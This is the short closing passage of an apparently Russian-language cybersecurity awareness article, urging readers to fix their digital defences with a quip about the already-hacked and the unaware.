Теперь у тебя есть карта. Время идти и чинить свои щиты. Потому что в цифровом мире есть два типа людей: те, кого уже взломали, и те, кто ещё не знает, что их взломали. Не дай себе попасть ни в одну из этих групп.

Удачи.
Полезно

Комментарии

0